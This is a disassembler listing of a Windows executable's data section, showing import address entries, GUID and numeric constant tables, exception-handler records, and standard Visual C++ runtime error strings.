dword_4290B8	dd 77E7A099h		; DATA XREF: sub_402382+26r
					; sub_4142D6+262r ...
dword_4290BC	dd 77E79F93h		; DATA XREF: sub_402382+91r
					; sub_402920+18r ...
dword_4290C0	dd 77E6169Ah		; DATA XREF: sub_402382+190r
					; sub_425CAB+D5r
dword_4290C4	dd 77E61608h		; DATA XREF: sub_402AC9+17Br
dword_4290C8	dd 77E7166Fh		; DATA XREF: sub_404740+12r
					; sub_404793+14r
dword_4290CC	dd 77E736A3h		; DATA XREF: sub_404793+7r
dword_4290D0	dd 77E71B14h		; DATA XREF: sub_404740+42r
					; sub_404793+30r
dword_4290D4	dd 77E704FCh		; DATA XREF: sub_404B0D+12r
					; sub_4142D6+2A6r
dword_4290D8	dd 77F5157Dh		; DATA XREF: sub_404B0D+46r
					; sub_4142D6+23Br ...
dword_4290DC	dd 77E73628h		; DATA XREF: sub_4077BF+129r
					; sub_4078F0+51r ...
dword_4290E0	dd 77E7A5FDh		; DATA XREF: sub_406A96+2Fr
					; sub_40DB56+29r ...
dword_4290E4	dd 77E805D8h		; DATA XREF: sub_406A96+1Ar
					; sub_40DB56+18r ...
dword_4290E8	dd 77E75CB5h		; DATA XREF: sub_404E2C+A0r
					; sub_416F51+86r ...
dword_4290EC	dd 77E61BB8h		; DATA XREF: sub_404E2C+99r
					; sub_4077BF+BDr ...
dword_4290F0	dd 77E77963h		; DATA XREF: sub_404E2C+49r
					; sub_405CF2+8r ...
dword_4290F4	dd 77E7A837h		; DATA XREF: sub_405CAD+1Er
					; sub_421B9F+1DDr
dword_4290F8	dd 77E73FF9h		; DATA XREF: sub_4259E3+57r
dword_4290FC	dd 77E78C81h		; DATA XREF: sub_405DAF+8r
					; sub_405DBE+1Er ...
dword_429100	dd 77E70192h		; DATA XREF: sub_407466+2D3r
					; sub_407466+308r ...
dword_429104	dd 77E79D8Ch		; DATA XREF: sub_405D36+10r
					; sub_422242+E8r ...
dword_429108	dd 77E78B82h		; DATA XREF: sub_405D04+10r
					; sub_405DE6+33r ...
dword_42910C	dd 77E74A3Bh		; DATA XREF: sub_40C987+9Er
					; sub_40E577+2Dr ...
dword_429110	dd 77E74CABh		; DATA XREF: .text:00408B85r
					; sub_421B59+4r
dword_429114	dd 77E74A69h		; DATA XREF: sub_40E5EC+74r
					; .text:0040F8D6r ...
dword_429118	dd 77E6AF8Fh		; DATA XREF: sub_4077BF+51r
					; sub_4077BF+106r ...
dword_42911C	dd 77E6AD34h		; DATA XREF: sub_4077BF+3Br
					; sub_4077BF+EEr ...
dword_429120	dd 77E6167Bh		; DATA XREF: sub_409431+9r
					; sub_423DB4+1Br
dword_429124	dd 77E77CCEh		; DATA XREF: sub_409538+1Ar
					; sub_421354+C0r ...
dword_429128	dd 77E79D5Bh		; DATA XREF: sub_405664+23r
					; sub_4056EB+23r ...
dword_42912C	dd 77F7E300h		; DATA XREF: sub_404694+2Br
					; sub_4046C9+8r ...
dword_429130	dd 77F7E21Fh		; DATA XREF: sub_404694+4r
					; sub_4046C9+1r ...
dword_429134	dd 77E7C2C4h		; DATA XREF: sub_4099E5+5r
					; sub_4142D6+230r
dword_429138	dd 77E776A0h		; DATA XREF: sub_405664+38r
					; sub_405664+61r ...
dword_42913C	dd 77E706B7h		; DATA XREF: sub_40DB56+B6r
					; sub_4142D6+128r
dword_429140	dd 77E7C4B7h		; DATA XREF: sub_40DB56+18Cr
dword_429144	dd 77E79824h		; DATA XREF: sub_40DB56+1EFr
dword_429148	dd 77E80656h		; DATA XREF: sub_40DEBF+152r
					; sub_4142D6+10Er ...
dword_42914C	dd 77E61A90h		; DATA XREF: sub_40DB56+1D8r
					; sub_40DEBF+16Dr
dword_429150	dd 77E737DEh		; DATA XREF: sub_40E4C6+45r
					; sub_41602D+30r
dword_429154	dd 77E7C9E7h		; DATA XREF: sub_4142D6+13r
					; sub_42391A+5r ...
dword_429158	dd 77EBA595h		; DATA XREF: sub_41B9C0r
dword_42915C	dd 77E7011Ah		; DATA XREF: sub_4142D6+308r
dword_429160	dd 77E616B4h		; DATA XREF: sub_4142D6+137r
					; sub_41F59B+2Er
dword_429164	dd 77E6BD13h		; DATA XREF: sub_4142D6+273r
dword_429168	dd 77EBA6E9h		; DATA XREF: sub_41B9C6r
dword_42916C	dd 77EBB1E7h		; DATA XREF: sub_41B9CCr
dword_429170	dd 77E73CE2h		; DATA XREF: sub_4142D6+2E1r
dword_429174	dd 77E79924h		; DATA XREF: sub_41B760+49r
					; sub_41B760+10Br ...
dword_429178	dd 77E79A45h		; DATA XREF: .text:0041B96Er
					; .text:0041B99Er
dword_42917C	dd 77E7C5B4h		; DATA XREF: sub_42037Dr
dword_429180	dd 77F522F2h		; DATA XREF: sub_41F69E+5Ar
dword_429184	dd 77E73196h		; DATA XREF: sub_42687D+Cr
dword_429188	dd 77E7980Ah		; DATA XREF: sub_41ED3F+7Er
					; sub_41EDF6+52r ...
dword_42918C	dd 77E79E34h		; DATA XREF: sub_41EA27+22Fr
dword_429190	dd 77F5722Fh		; DATA XREF: sub_41E618+137r
					; sub_41E618+188r ...
dword_429194	dd 77F6183Eh		; DATA XREF: sub_427702r
dword_429198	dd 77E7C938h		; DATA XREF: start:loc_41DDBBr
dword_42919C	dd 77E6177Ah		; DATA XREF: start-1C1F1r
					; sub_422ABF+5Dr
dword_4291A0	dd 77E7AC37h		; DATA XREF: sub_41D7F8+60r
dword_4291A4	dd 77E77CC4h		; DATA XREF: sub_41D732:loc_41D79Dr
					; sub_4203B6+4Fr ...
dword_4291A8	dd 77E73C49h		; DATA XREF: sub_41D732+2Ar
dword_4291AC	dd 77F51597h		; DATA XREF: sub_41C2DD+65r
					; sub_41EA27+2B4r ...
dword_4291B0	dd 77E7C3A5h		; DATA XREF: sub_425CAB+2Br
dword_4291B4	dd 77E7339Ch		; DATA XREF: sub_426861+Cr
dword_4291B8	dd 77E7176Ch		; DATA XREF: sub_426899+8r
dword_4291BC	dd 77E793EFh		; DATA XREF: sub_402382+54r
					; sub_405DE6+Br ...
		dd 0
dword_4291C4	dd 771216A4h		; DATA XREF: sub_409538+3Cr
dword_4291C8	dd 77121651h		; DATA XREF: sub_4060DC+D3r
					; sub_406B3F+12Dr
dword_4291CC	dd 7712151Dh		; DATA XREF: .text:00406075r
					; sub_40607C+7r ...
dword_4291D0	dd 77123662h		; DATA XREF: sub_4060DC+5F8r
					; sub_4060DC+685r
dword_4291D4	dd 771214E8h		; DATA XREF: sub_405EF4+95r
					; sub_406033+9r ...
dword_4291D8	dd 77121680h		; DATA XREF: sub_405EF4+47r
					; sub_406033+1Ar
		align 10h
dword_4291E0	dd 7678121Bh		; DATA XREF: sub_404AA9+Fr
					; sub_404ADB+Fr ...
		align 8
dword_4291E8	dd 77D4A414h		; DATA XREF: sub_406A96+43r
dword_4291EC	dd 77D47627h		; DATA XREF: sub_406A96+8Ar
					; sub_41643A+Dr
dword_4291F0	dd 77D43DD3h		; DATA XREF: sub_406A96+6Br
					; sub_4142D6+45Dr
dword_4291F4	dd 77D4456Bh		; DATA XREF: sub_4071F6+1Ar
					; .text:00408B74r
dword_4291F8	dd 77D4A331h		; DATA XREF: sub_4071F6+2Er
dword_4291FC	dd 77D5C5EAh		; DATA XREF: sub_4060B7+12r
					; .text:0040BB3Fr ...
dword_429200	dd 77D4763Dh		; DATA XREF: sub_406B3F+47r
					; sub_406B3F+585r ...
dword_429204	dd 77D441F2h		; DATA XREF: sub_406A96+75r
					; sub_4142D6+467r
dword_429208	dd 77D5C2CCh		; DATA XREF: sub_4060DC+1Fr
					; sub_406B3F+Fr ...
dword_42920C	dd 77D4BDCAh		; DATA XREF: sub_4011B2+8r
dword_429210	dd 77D45B19h		; DATA XREF: sub_4011B2+11r
					; sub_4011D1+27r ...
dword_429214	dd 77D47D27h		; DATA XREF: sub_4016AD+6Fr
dword_429218	dd 77D5BE95h		; DATA XREF: sub_416071+11Br
dword_42921C	dd 77D4DCCCh		; DATA XREF: sub_4142D6+1D8r
dword_429220	dd 77D4B816h		; DATA XREF: sub_414767+49r
dword_429224	dd 77D414D4h		; DATA XREF: sub_4142D6+1F0r
dword_429228	dd 77D46F5Bh		; DATA XREF: sub_414767+10r
					; sub_414767+3Er
dword_42922C	dd 77D6ADD7h		; DATA XREF: sub_40EC36+2Fr
dword_429230	dd 77D46E60h		; DATA XREF: .text:0040BB50r
					; sub_4153A7+1Cr
dword_429234	dd 77D4932Ch		; DATA XREF: sub_407EE6+13r
					; .text:00408B9Er
dword_429238	dd 77D46349h		; DATA XREF: sub_407EE6+37r
					; sub_40D743+20r ...
dword_42923C	dd 77D5C3E2h		; DATA XREF: sub_4060DC+60r
					; sub_406B3F+100r
dword_429240	dd 77D5E303h		; DATA XREF: sub_401236+119r
					; .text:loc_40473Ar ...
dword_429244	dd 77D4A414h		; DATA XREF: sub_401236+F5r
					; sub_401236+156r ...
dword_429248	dd 77D5E38Ch		; DATA XREF: sub_404740+5r
dword_42924C	dd 77D6BB30h		; DATA XREF: sub_401236:loc_4013B3r
					; sub_416071:loc_41632Br
dword_429250	dd 77D5E310h		; DATA XREF: sub_401236+145r
					; sub_40472B+2r ...
dword_429254	dd 77D6BB4Ch		; DATA XREF: sub_404793+3Br
dword_429258	dd 77D49A11h		; DATA XREF: sub_4016AD+115r
dword_42925C	dd 77D651AFh		; DATA XREF: sub_4011D1+21r
					; sub_401236+2Dr ...
dword_429260	dd 77D4702Fh		; DATA XREF: sub_4011D1+1Br
					; sub_401236+17r ...
dword_429264	dd 77D5C13Ah		; DATA XREF: sub_4013EC+33r
					; .text:00408C29r ...
dword_429268	dd 77D44200h		; DATA XREF: sub_406A96+5Fr
					; sub_4142D6:loc_414727r
		align 10h
dword_429270	dd 71AB12F8h		; DATA XREF: sub_4027E5+D3r
					; .text:0040BAEEr ...
dword_429274	dd 71AB401Ch		; DATA XREF: sub_402920+148r
					; sub_405771+4Cr ...
dword_429278	dd 71AB32CAh		; DATA XREF: sub_40497E+1Dr
					; sub_404A16+1Dr
dword_42927C	dd 71AB1746h		; DATA XREF: sub_40CA30+354r
					; sub_414A1F+3Ar
dword_429280	dd 71AB5F97h		; DATA XREF: sub_414D44+60r
dword_429284	dd 71ABF628h		; DATA XREF: sub_414B09+Er
dword_429288	dd 71AB155Ah		; DATA XREF: sub_4149DD+26r
dword_42928C	dd 71AB3E5Dh		; DATA XREF: sub_414A81+40r
dword_429290	dd 71AB1740h		; DATA XREF: sub_414C2D:loc_414C84r
					; .text:00414E72r ...
dword_429294	dd 71AB5EFCh		; DATA XREF: sub_414C04+1Fr
dword_429298	dd 71AB5E6Fh		; DATA XREF: sub_414AE0+21r
dword_42929C	dd 71AB157Eh		; DATA XREF: sub_414BB6+Er
dword_4292A0	dd 71AB8629h		; DATA XREF: sub_40B78B+5Dr
					; sub_414DBA+Ar ...
dword_4292A4	dd 71AB1ED3h		; DATA XREF: sub_414CEA+18r
dword_4292A8	dd 71AB3C22h		; DATA XREF: sub_4148F1+15r
dword_4292AC	dd 71AB1A6Dh		; DATA XREF: sub_414D44+44r
dword_4292B0	dd 71ABCF09h		; DATA XREF: sub_414BF7+6r
dword_4292B4	dd 71AB2BBFh		; DATA XREF: sub_41484D+16r
dword_4292B8	dd 71AB5DE2h		; DATA XREF: sub_414A0C+Ar
dword_4292BC	dd 71AB868Dh		; DATA XREF: sub_414A1F+1Fr
dword_4292C0	dd 71AB41DAh		; DATA XREF: sub_4142D6+212r
dword_4292C4	dd 71AB3ECEh		; DATA XREF: sub_414997+2Br
dword_4292C8	dd 71AB5ED3h		; DATA XREF: sub_414ACDr
					; sub_4150A5+4Er
dword_4292CC	dd 71AB44ABh		; DATA XREF: .text:00407B82r
					; .text:00407BEAr ...
dword_4292D0	dd 71AB12A7h		; DATA XREF: sub_4054F8+8r
dword_4292D4	dd 71AB1890h		; DATA XREF: sub_40547E+48r
dword_4292D8	dd 71AB5690h		; DATA XREF: sub_40547E+72r
					; sub_414D0B+11r
dword_4292DC	dd 71AB1B7Bh		; DATA XREF: sub_41B758r
dword_4292E0	dd 71AB1AF4h		; DATA XREF: sub_4054F8+Er
					; sub_405615+13r ...
dword_4292E4	dd 71AB1746h		; DATA XREF: sub_40CA30+16Fr
					; sub_40CA30+7FFr ...
		dd 0
dword_4292EC	dd 76D642A3h		; DATA XREF: sub_41B9BAr
		dd 0
dword_4292F4	dd 771C6F69h		; DATA XREF: sub_405E63+14r
					; sub_406A96+4Fr ...
dword_4292F8	dd 771C1E56h		; DATA XREF: sub_405E63+34r
					; sub_405EF4+39r ...
dword_4292FC	dd 771C16BAh		; DATA XREF: sub_405EDB+12r
					; sub_4095D4:loc_409714r
		dd 4 dup(0)
dword_429310	dd 0D6B0E4C8h, 4885FAD6h, 0C50D71B2h, 0F8AD84A5h, 0D6B0E4C9h
					; DATA XREF: sub_4095D4+7Fo
		dd 4885FAD6h, 0C50D71B2h, 0F8AD84A5h
dword_429330	dd 0D50C3186h, 48F80F89h, 43604B2h, 10EE9D62h, 0D50C3286h
					; DATA XREF: sub_4095D4+20o
					; sub_409729+2Bo
		dd 48F80F89h, 43604B2h,	10EE9D62h, 0D50C3386h, 48F80F89h
		dd 43604B2h, 10EE9D62h,	0C9A6A6B6h, 43A59BC1h, 88E56BB0h
		dd 96BCEE74h
dword_429370	dd 0E7479A0Fh, 44A5BB19h, 416F8F96h, 0BCE03ED9h	; DATA XREF: sub_409729+A0o
dword_429380	dd 0E7479A0Dh, 44A5BB19h, 416F8F96h, 0BCE03ED9h, 2E50547Bh
					; DATA XREF: sub_409729+5Do
		dd 4F60A8AAh, 411F7EB5h, 7B001147h, 2E50547Ch, 4F60A8AAh
		dd 411F7EB5h, 7B001147h, 0E1AF1028h, 44CBB884h,	3C1C35A5h
		dd 0DBD1A311h, 0E1AF1038h, 44CBB884h, 3C1C35A5h, 0DBD1A311h
		dd 0E02AD29Eh, 46C680F5h, 3E9B16B4h, 7E05DFBDh
dword_4293E0	dd 0B69003B3h, 4B48C55Eh, 59BC6C83h, 283BFC46h,	430DB0h
					; DATA XREF: sub_4095D4+28o
					; sub_409729+33o
off_4293F4	dd offset loc_41B980	; DATA XREF: .text:0041B8E5o
					; .text:0041B917o ...
; ---------------------------------------------------------------------------

loc_4293F8:				; DATA XREF: sub_4060DC+1BBo
					; sub_406B3F+233o ...
		daa
		inc	esp
		sub	al, 33h
		retf
; ---------------------------------------------------------------------------
		db 26h,	0D0h, 11h
		dd 0C00083B4h, 1901D94Fh
dword_429408	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_4060DC+78o
					; sub_406B3F+118o
dword_429418	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406B3F+412o
					; sub_40716D+30o
dword_429428	dd 3050F364h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_406B3F+42Co
dword_429438	dd 2 dup(0)		; DATA XREF: sub_40716D+1Do
		dd 0C0h, 46000000h
dword_429448	dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_4070F6+2Do
dword_429458	dd 20400h, 0		; DATA XREF: sub_40716D+Ao
		dd 0C0h, 46000000h, 430E10h
off_42946C	dd offset loc_401067	; DATA XREF: sub_401000+20o
					; sub_40103C+Ao ...
		dd offset sub_401059
		dd offset dword_430E5C
off_429478	dd offset loc_40108E	; DATA XREF: sub_401083o
					; .text:00401E3Fo ...
		dd offset sub_401059
		dd offset dword_430EA8
off_429484	dd offset sub_41B9D2	; DATA XREF: sub_41B9EEo
					; sub_41B9F9+33o ...
		dd offset sub_401059
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41B9F9+Do
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41BA51+Do
		dd offset dword_430EF0
off_4294B8	dd offset loc_41BAC5	; DATA XREF: sub_41BABAo
					; .text:0041BAEDo ...
		dd offset sub_41C86B
dword_4294C0	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh, 0B62F5910h
					; DATA XREF: sub_41BAF9+25o
		dd 11D16528h, 1196h, 0D0D1EF8h
dword_4294E0	dd 394C3DE0h, 11D23C6Fh, 0C0007B81h, 0B77A794Fh	; DATA XREF: sub_41BBA7+84o
stru_4294F0	_msEH <0FFFFFFFFh, 0, offset sub_41C330> ; DATA	XREF: sub_41C2DD+2o
		align 10h
stru_429500	_msEH <0FFFFFFFFh, 0, offset sub_41C588> ; DATA	XREF: sub_41C556+2o
		dd offset dword_430F1C
off_429510	dd offset loc_41C878	; DATA XREF: sub_41C7BD+Ao
					; sub_41C7CE+8o ...
		dd offset sub_41C86B
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_41C86B+7o
		align 4
		dd offset dword_430F60
off_429530	dd offset sub_41C913	; DATA XREF: sub_41C8CD+Eo
					; .text:off_433094o ...
		align 8
stru_429538	_msEH <0FFFFFFFFh, 0, offset sub_41C90A> ; DATA	XREF: sub_41C8CD+2o
		align 10h
oword_429550	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: .text:0041CFE3r
					; .text:0041D00Ar
oword_429560	xmmword	4330000000000000433h ; DATA XREF: .text:0041CF46r
oword_429570	xmmword	0		; DATA XREF: .text:loc_41D001r
oword_429580	xmmword	7FFh		; DATA XREF: .text:0041CF5Fr
dbl_429590	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: .text:loc_41CFFAr
stru_429598	_msEH <0FFFFFFFFh, 0, offset sub_41D08C> ; DATA	XREF: sub_41D01D+2o
		align 10h
oword_4295B0	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: .text:0041D1C3r
oword_4295C0	xmmword	4330000000000000433h ; DATA XREF: .text:0041D126r
oword_4295D0	xmmword	4330000000000000BFF0000000000000h ; DATA XREF: .text:0041D1EEr
oword_4295E0	xmmword	80000000000000008000000000000000h ; DATA XREF: .text:loc_41D1DDr
					; .text:0041D1E6r
oword_4295F0	xmmword	7FFh		; DATA XREF: .text:0041D13Fr
stru_429600	_msEH <0FFFFFFFFh, 0, offset sub_41D3CA> ; DATA	XREF: sub_41D378+2o
		align 10h
stru_429610	_msEH <0FFFFFFFFh, 0, offset sub_41D43B> ; DATA	XREF: sub_41D3E7+2o
		align 10h
stru_429620	_msEH <0FFFFFFFFh, 0, offset sub_41D509> ; DATA	XREF: sub_41D4C3+2o
		align 10h
stru_429630	_msEH <0FFFFFFFFh, offset loc_41D7D8, offset sub_41D7EC>
					; DATA XREF: sub_41D732+33o
		align 10h
stru_429640	_msEH <0FFFFFFFFh, 0, offset sub_41D9DC> ; DATA	XREF: sub_41D92B+2o
		align 10h
stru_429650	_msEH <0FFFFFFFFh, 0, offset sub_41DB10> ; DATA	XREF: sub_41DACE+2o
		align 10h
stru_429660	_msEH <0FFFFFFFFh, 0, offset sub_41DC63> ; DATA	XREF: sub_41DC21+2o
		align 10h
stru_429670	_msEH <0FFFFFFFFh, offset sub_41DE51, offset loc_41DE65>
					; DATA XREF: start-1C348o
dword_42967C	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_41E4BE+Eo
		dd 3, 19930520h, 3 dup(0)
stru_4296A0	_msEH <0FFFFFFFFh, offset sub_41E5A7, offset loc_41E5AB>
					; DATA XREF: sub_41E5BB-2Fo
		align 10h
stru_4296B0	_msEH <0FFFFFFFFh, 0, offset sub_41E778> ; DATA	XREF: sub_41E618+2o
		align 10h
stru_4296C0	_msEH <0FFFFFFFFh, 0, offset sub_41E97A> ; DATA	XREF: sub_41E8E3+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_41F4D7+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_41F4D7o
stru_4296E8	_msEH <0FFFFFFFFh, 0, offset loc_41F645> ; DATA	XREF: sub_41F59B+2o
					; sub_41F8BB+5Er
		align 8
stru_4296F8	_msEH <0FFFFFFFFh, 0, offset sub_41F708> ; DATA	XREF: sub_41F69E+2o
		align 8
byte_429708	db 6			; DATA XREF: sub_41F8BB:loc_41F927r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8, 41h dup(0)
asc_429868:				; DATA XREF: .text:off_4333E0o
					; .text:00433438o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_429A68	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: .text:004333E4o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 20h,	4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
stru_429DF0	_msEH <0FFFFFFFFh, 0, offset sub_420374> ; DATA	XREF: sub_420342+2o
		align 10h
stru_429E00	_msEH <0FFFFFFFFh, 0, offset sub_420554> ; DATA	XREF: sub_420427+2o
		dd 0FFFFFFFFh, 0
		dd offset sub_420562
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_42059D+4Co
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_42059D+3Fo
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_42059D+32o
aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: sub_42059D+2Ao
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_42059D+13o
					; sub_423F72+1Eo
		align 4
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan		db 'atan',0             ; DATA XREF: sub_42068C:loc_4208C6o
		align 4
aCeil		db 'ceil',0             ; DATA XREF: sub_42068C:loc_4208BDo
		align 10h
aFloor		db 'floor',0            ; DATA XREF: sub_42068C:loc_4208B4o
		align 4
aModf		db 'modf',0             ; DATA XREF: sub_42068C+210o
		align 10h
aExp2		db 'exp2',0             ; DATA XREF: sub_42068C:loc_42083Eo
		align 4
aExp10		db 'exp10',0            ; DATA XREF: sub_42068C+1A2o
		align 10h
aLog2		db 'log2',0             ; DATA XREF: sub_42068C:loc_42080Bo
					; sub_42068C+192o
		align 4
aPow		db 'pow',0              ; DATA XREF: sub_42068C:loc_420736o
					; sub_42068C+CFo ...
aLog		db 'log',0              ; DATA XREF: sub_42068C:loc_420714o
					; sub_42068C+97o ...
aLog10		db 'log10',0            ; DATA XREF: sub_42068C:loc_4206F9o
					; sub_42068C+7Co ...
		align 4
aExp		db 'exp',0              ; DATA XREF: sub_42068C+4Eo
					; sub_42068C+61o ...
		align 10h
stru_429F10	_msEH <0FFFFFFFFh, offset loc_42093B, offset loc_42093F>
					; DATA XREF: sub_42091A+2o
aAuthenticamd	db 'AuthenticAMD',0     ; DATA XREF: .text:004209C2o
		align 10h
dbl_429F30	dq 1.0			; DATA XREF: .text:00420A8Ar
					; .text:00420B5Dr ...
stru_429F38	_msEH <0FFFFFFFFh, 0, offset sub_420FA2> ; DATA	XREF: sub_420E8C+2o
		align 8
stru_429F48	_msEH <0FFFFFFFFh, 0, offset sub_421157> ; DATA	XREF: sub_4210E3+2o
		align 8
stru_429F58	_msEH <0FFFFFFFFh, 0, offset sub_421300> ; DATA	XREF: sub_421234+2o
		dd 2 dup(0)
		dd offset sub_4212CF
dword_429F70	dd 2 dup(0)		; DATA XREF: sub_421354+1Co
					; sub_4242B5+1Eo
stru_429F78	_msEH <0FFFFFFFFh, offset loc_42164D, offset loc_421651>
					; DATA XREF: sub_421354+2o
		dd 0FFFFFFFFh, 42144Ah,	42144Eh, 0FFFFFFFFh, 421518h, 42151Ch
		dd 0
stru_429FA0	_msEH <0FFFFFFFFh, 0, offset sub_4219B0> ; DATA	XREF: sub_421909+2o
		align 10h
stru_429FB0	_msEH <0FFFFFFFFh, 0, offset sub_421B50> ; DATA	XREF: sub_421AB7+2o
		dd 2 dup(0)
		dd offset loc_421B2A
stru_429FC8	_msEH <0FFFFFFFFh, 0, offset sub_421ECB> ; DATA	XREF: sub_421E86+2o
		align 8
stru_429FD8	_msEH <0FFFFFFFFh, 0, offset sub_42221B> ; DATA	XREF: sub_422197+2o
		align 8
stru_429FE8	_msEH <0FFFFFFFFh, 0, offset sub_422494> ; DATA	XREF: sub_422410+2o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 0
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_4338A4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4224BB+123o
					; sub_423E1A+132o
		align 10h
asc_42A3C0	db 0Ah			; DATA XREF: sub_4224BB+107o
					; sub_423E1A+FCo
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4224BB+F5o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4224BB+C1o
					; sub_423E1A+CCo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4224BB+8Eo
					; sub_423E1A+8Bo
		align 10h
stru_42A400	_msEH <0FFFFFFFFh, offset loc_422CEA, offset loc_422CEE>
					; DATA XREF: sub_422CBD+2o
		align 10h
stru_42A410	_msEH <0FFFFFFFFh, offset loc_422D2E, offset loc_422D32>
					; DATA XREF: sub_422D01+2o
		align 10h
stru_42A420	_msEH <0FFFFFFFFh, 0, offset sub_423088> ; DATA	XREF: sub_422FDB+2o
		align 10h
		dd offset loc_42304E
		dd offset loc_423057
stru_42A438	_msEH <0FFFFFFFFh, offset sub_4230DD, offset loc_4230E6>
					; DATA XREF: sub_4230A9+2o
		align 8
stru_42A448	_msEH <0FFFFFFFFh, 0, offset sub_42325C> ; DATA	XREF: sub_42310D+2o
		align 8
		dd offset loc_423198
		dd offset loc_4231E7
stru_42A460	_msEH <0FFFFFFFFh, offset sub_423441, offset loc_423445>
